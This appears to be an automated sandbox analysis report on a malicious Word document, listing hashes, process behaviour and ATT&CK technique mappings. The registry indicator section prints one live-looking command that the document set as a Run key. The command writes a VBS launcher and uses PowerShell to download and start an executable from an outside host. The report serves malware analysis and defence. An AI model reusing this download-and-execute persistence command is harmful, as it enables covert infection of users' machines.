28be1bcfd275756888fe4e1e2d866d7af521022f9a13e0267778e63e8ae98aa7

General

Target

504368519288583f7d6b6981c641b4b9509bdee7aac1e0d6c2371fc952451392.doc
Size

179KB
MD5

e267aa39a15e33909dae39ec74828f8b
SHA1

ed519641868e38c0531358622bc10b863979e301
SHA256

504368519288583f7d6b6981c641b4b9509bdee7aac1e0d6c2371fc952451392
SHA512

95d9712e8f760e589761337376b329c28e9b5ee2d6ededd77e9dae29dc5dab41927f382562848bd3e2dfeb72859ec6d373335cc51d6c91bf60c1a10da735bb8e
SSDEEP

3072:Ean7O40C8HRLzZI5Cb1WdqfzdVWnTqUJxDZaQnRBvbmV8tbB:Ean7t0tRHK5C+qfzdVoqwB8Qqk

Score

6^/10

discovery persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_Office = "cmd /c echo WScript.CreateObject(\"WScript.Shell\").run \"cmd /c powershell iwr -outf %tmp%\\smss.exe https://shoru.net/db/main_db & start %tmp%\\smss.exe\",0,false>\"C:\\Users\\Public\\Libraries\\lib.vbs\"&wscript \"C:\\Users\\Public\\Libraries\\lib.vbs\""	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2776	WINWORD.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2776	WINWORD.EXE
2776	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 2744	2776	WINWORD.EXE	30
PID 2776 wrote to memory of 2744	2776	WINWORD.EXE	30
PID 2776 wrote to memory of 2744	2776	WINWORD.EXE	30
PID 2776 wrote to memory of 2744	2776	WINWORD.EXE	30

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\504368519288583f7d6b6981c641b4b9509bdee7aac1e0d6c2371fc952451392.doc"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2776-0-0x000000002F031000-0x000000002F032000-memory.dmp

Filesize
4KB

Download
memory/2776-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2776-2-0x00000000711BD000-0x00000000711C8000-memory.dmp

Filesize
44KB

Download
memory/2776-5-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-7-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-12-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-10-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-9-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-8-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-6-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-4-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-11-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-19-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-23-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-26-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-25-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-21-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-20-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-18-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-16-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-14-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-17-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-15-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-13-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-22-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download
memory/2776-27-0x00000000711BD000-0x00000000711C8000-memory.dmp

Filesize
44KB

Download
memory/2776-28-0x0000000000750000-0x0000000000850000-memory.dmp

Filesize
1024KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads